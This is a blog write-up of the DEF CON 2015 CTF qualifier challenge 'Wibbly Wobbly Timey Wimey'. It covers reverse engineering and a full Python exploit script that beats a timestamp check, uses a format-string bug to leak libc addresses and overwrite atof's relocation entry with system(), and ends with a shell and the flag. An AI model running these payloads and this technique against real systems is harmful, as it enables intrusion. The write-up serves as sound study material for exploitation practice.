morganz’s blog

a diary of an ordinary person

DEF CON CTF Qualifier 2015 Wibbly Wobbly Timey Wimey Writeup

This is my second time participating in DC qualifier, and it is really a fun experience.

This challenge (download) involves multiple steps. When we connect to the server, we need to play a game first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
alpha@alpha-th:~$ nc wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me 2606
You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
Go through the exits(E) to get to the next room and continue your search.
But, most importantly, don't blink!
   012345678901234567890
00                    E
01                     
02  A                  
03               A     
04 A                   
05                     
06               A     
07                A    
08                     
09        V       A    
10                  A  
11                A    
12              A      
13                     
14       A      A      
15                     
16                     
17                     
18                     
19                     
Your move (w,a,s,d,q):

If we win the game five times, then we are asked to input a “TARDIS KEY”. If the input is correct, then “Welcome to the TARDIS!” is displayed and we can choose from two options.

1
2
3
4
5
6
TARDIS KEY: 
Welcome to the TARDIS!
Your options are: 
1. Turn on the console
2. Leave the TARDIS
Selection:

This is where we start looking for vulnerabilities.

In IDA, if we look at the routine sub_E3E, we can see that there is another option (“Dematerialize”) besides the two above.

routine sub_E3E
1
2
3
4
5
6
7
8
9
10
int sub_E3E()
{
  puts("Your options are: ");
  puts("1. Turn on the console");
  puts("2. Leave the TARDIS");
  if ( unk_50AC )
    puts("3. Dematerialize");
  printf("Selection: ");
  return fflush(stdout);
}

However, in order to display the option, we need to make the variable “unk_50AC” true. This happens in the routine sub_1205:

snippet from routine sub_1205
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( LOBYTE(dword_50B0[0]) == 49 )        // 1
{
    LOBYTE(v4) = sub_E08();
    if ( v4 )
    {
        printf("The TARDIS console is online!");
        unk_50AC = 1;
        fflush(stdout);
    }
    else
    {
        printf("Access denied except between %s and %s\n", &v7, &v8);
        fflush(stdout);
    }
}

When we select the first option (“Turn on the console”), routine sub_E08 gets called and a comparison is made based on two timestamps:

routine sub_E08
1
2
3
4
BOOL sub_E08()
{
  return dword_50A4 > 1431907180 && dword_50A4 <= 1431907199;
}

If the variable dword_50A4 does not fit between the two values, then “Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT” is displayed. If it fits, then we can choose the third option (“Dematerialize”), and routine sub_1027 gets called:

snippet from routine sub_1205
1
2
3
4
5
6
7
8
9
10
11
12
if ( LOBYTE(dword_50B0[0]) == 51 )      // 3
{
    if ( unk_50AC )
    {
        sub_1027();
    }
    else
    {
        puts("Invalid");
        fflush(stdout);
    }
}
snippet from routine sub_1027
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int sub_1027()
{
    ...
    while ( 1 )
    {
        ...
        v0 = atof(&s);
        v3 = atof(nptr + 1);
        printf("%f, %f\n", v0, v3);
        if ( 51.492137 != v0 || -0.192878 != v3 )
            break;
        printf("Coordinate ");
        printf(&s);
        ...
    }
    printf("You safely travel to coordinates %s\n", &s);
    ...
    return result;
}

Does “printf(&s)” look suspicious? It could be an uncontrolled format string! Since the buffer itself can be accessed (with enough “%x”, for example), we can pretty much do arbitrary read and write in the memory. But what should we write and where should we write to? It turns outs we do not need to look far: since “&s” is passed as a parameter to atof() function, we can replace the address of atof() with the address of system() in relocation table. Then we can execute any commands we want (e.g. sh). The address of atof() can be accessed from the function’s relocation table entry at run time, so we can exploit the format string vulnerabiliry to overwrite it.

Now there is only one thing left: how do we defeat the timestamp check in the routine sub_E08 above? If we look at the routine sub_BCB, the variable dword_50A4 (which is used for timestamp comparison) can be controlled if we can controlled dword_50B0.

snippet from routine sub_BCB
1
2
3
4
5
6
7
8
size_t sub_BCB()
{
    ...
    v3 = read(dword_50B0[2], &buf, 4u);
    if ( v3 == 4 )
        dword_50A4 = buf;
    ...
}

Luckily, in routine sub_1205, we can read up to 9 bytes into the location pointed to by dword_50B0, which gives us the control of one byte in dword_50B0[2]:

snippet from routine sub_1205
1
2
if ( read(0, dword_50B0, 9u) <= 0 )
        break;

In other words, when we are asked to selected an option, if our input is something like “1aaaaaaa\x00”(9 bytes in total, and the last byte is 0x00), then we will be able to read four bytes from standard input into the location pointed to by “buf”, and those four bytes will be treated as an integer and assigned to dword_50A4, which is used for the timestamp check.

In summary, in order to get the flag, we need to perform the following steps:

  • win the game five times
  • input correct “TARDIS KEY”
  • input “1aaaaaaa\x00”(or something similar) to set the array dword_50B0
  • input four bytes to set the variable dword_50A4 so that it is something between 1431907180 and 1431907199 when treated as an integer
  • select the option “Dematerialize”, and use the format string vulnerability to reveal the address of system()
  • overwrite the address of atof() with the address of system() in relocation table by using the format string vulnerability
  • when asked to input coordinates again, we can open a shell by inputing “,sh”

For playing the game, I use a very simple algorithm: going vertically first to get into the same row as the target, then going horizontally (or going horizontally first then going vertically). This does not succeed every time, but it has a good chance to go through five times in a row (We can play multiple times, right?). The “TARDIS KEY” comes directly from the binary, so it is fixed every time. We can get this byte by byte from gdb, and it is: UeSlhCAGEp.

Here are the code and the result:

(wwtw.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import zio
import time
import struct

def parse(io):
    '''
    return a 2d array
    '''
    io.read_until("90\n")
    m = []
    for line in range(20):
        line = io.read_until("\n")
        m.append(line[3:-1])
    return m

def get_path(m, me, ET, p1, p2):
    '''
    compare two possible paths
    '''
    p1_head = True
    for i in range(min(me[1],ET[1]),max(me[1],ET[1])):
        if m[me[0]][i] == 'A':
            p1_head = False
    for i in range(min(me[0],ET[0]),max(me[0],ET[0])):
        if m[i][ET[1]] == 'A':
            p1_head = False
    if p1_head:
        return p1+p2
    else:
        return p2+p1

def move(m):
    '''
    return a string for moving
    '''
    ret = ''
    me = (0,0)
    ET = (0,0)
    for i, row in enumerate(m):
        for j, c in enumerate(row):
            if c == ">" or c == "<" or c == "^" or c == 'V':
                me = (i,j)
            elif c == 'E' or c == 'T':
                ET = (i,j)

    #print ET,me
    shifty = abs(ET[0]-me[0])
    shiftx = abs(ET[1]-me[1])
    if ET[0] >= me[0] and ET[1] >= me[1]:
        p = get_path(m,me,ET,'d'*shiftx,'s'*shifty)
    elif ET[0] >= me[0] and ET[1] < me[1]:
        p = get_path(m,me,ET,'a'*shiftx,'s'*shifty)
    elif ET[0] <= me[0] and ET[1] >= me[1]:
        p = get_path(m,me,ET,'d'*shiftx,'w'*shifty)
    else:
        p = get_path(m,me,ET,'a'*shiftx,'w'*shifty)
    return p


T = ("wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me",2606)
#T = ("127.0.0.1",4444)
io = zio.zio(T)
io.read_until("blink!")

#play the game
for i in range(5):
    m = parse(io)
    moves =  move(m)
    for m in moves:
        io.write(m+'\n')
        io.read_until(':')
    if i < 4:
        io.read_until("...")

#TARDIS KEY
key = "UeSlhCAGEp"
io.read_until("KEY")
io.write(key+'\n')

#timestamp check
io.read_until("Selection:")
io.write("1aaaaaaa\x00\n")
time.sleep(2)
io.write("v+YU\n") #defeat the timestamp check
time.sleep(1)
io.write("1\n")
io.write("1aaaaaaa\x07\n") #set the fd back so we don't need to write something every 2s
io.read_until('Dematerialize')
io.read_until('Dematerialize')
io.read_until('Dematerialize')

##base
time.sleep(1)
io.write("3\n")
time.sleep(1)
io.read_until("Coordinates:")
payload  ="51.492137,-0.192878zz"+"%08x."*10 +"\n"
io.write(payload)
ret = io.read_until('again')
addr1  = ret.split(".")[11]
addr2  = ret.split(".")[12]
offset = 4032
base = int(addr1,16)+offset
io.read_until("Coordinates:")
time.sleep(2)

##read addr, since we don't have system() in relocation table, we start from read()
payload  = "51.492137,-0.192878z"
payload += struct.pack("<I",base+0x5010)  #read reloc table
payload += ( "%08x."*19 +"%s" + "\n")
io.write(payload)
time.sleep(2)
ret = io.read_until("is")
ret = ret.split(".")[-1].strip()
ret = ret.split()[0][:4]
#print len(ret),"read",hex(struct.unpack("<I",ret)[0])
addr_read = struct.unpack("<I",ret)[0]

##system addr, the offset is based on the corresponding version of libc
addr_system = addr_read - 633408

##write address of system to atof's relo
relo_atof = base+0x5080
str_system = struct.pack("<I",addr_system)
tmp = str_system[:2][::-1].encode("hex")
system1 = int(str_system[:2][::-1].encode("hex"),16)
system2 = int(str_system[2:][::-1].encode("hex"),16)
io.read_until("Coordinates:")
payload  = "51.492137,-0.192878z"
payload += struct.pack("<I",relo_atof)
payload += struct.pack("<I",relo_atof+2) #can be any random 4 bytes
payload += struct.pack("<I",relo_atof+2)
payload += ( "%08x."*18 +"%"+str(system1+186-372-8)+ "x" + "%n"+ "%"+str(system2-system1) +"x%n" + "\n")
io.write(payload)

io.interact()#after this, calling atof() becomes calling system(). we can manually input the command
1
2
3
4
5
6
7
8
9
10
11
12
alpha@alpha-th:~$ python wwtw.py
...
...
f774b082 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.  
Coordinates: ,sh
sh: 1: ,sh: not found

Unauthorized occupant detected...goodbye
id
uid=1001(wwtw) gid=1001(wwtw) groups=1001(wwtw)
cat /home/wwtw/flag
The flag is: Would you like a Jelly Baby? !@()*ASF)9UW$askjal

Comments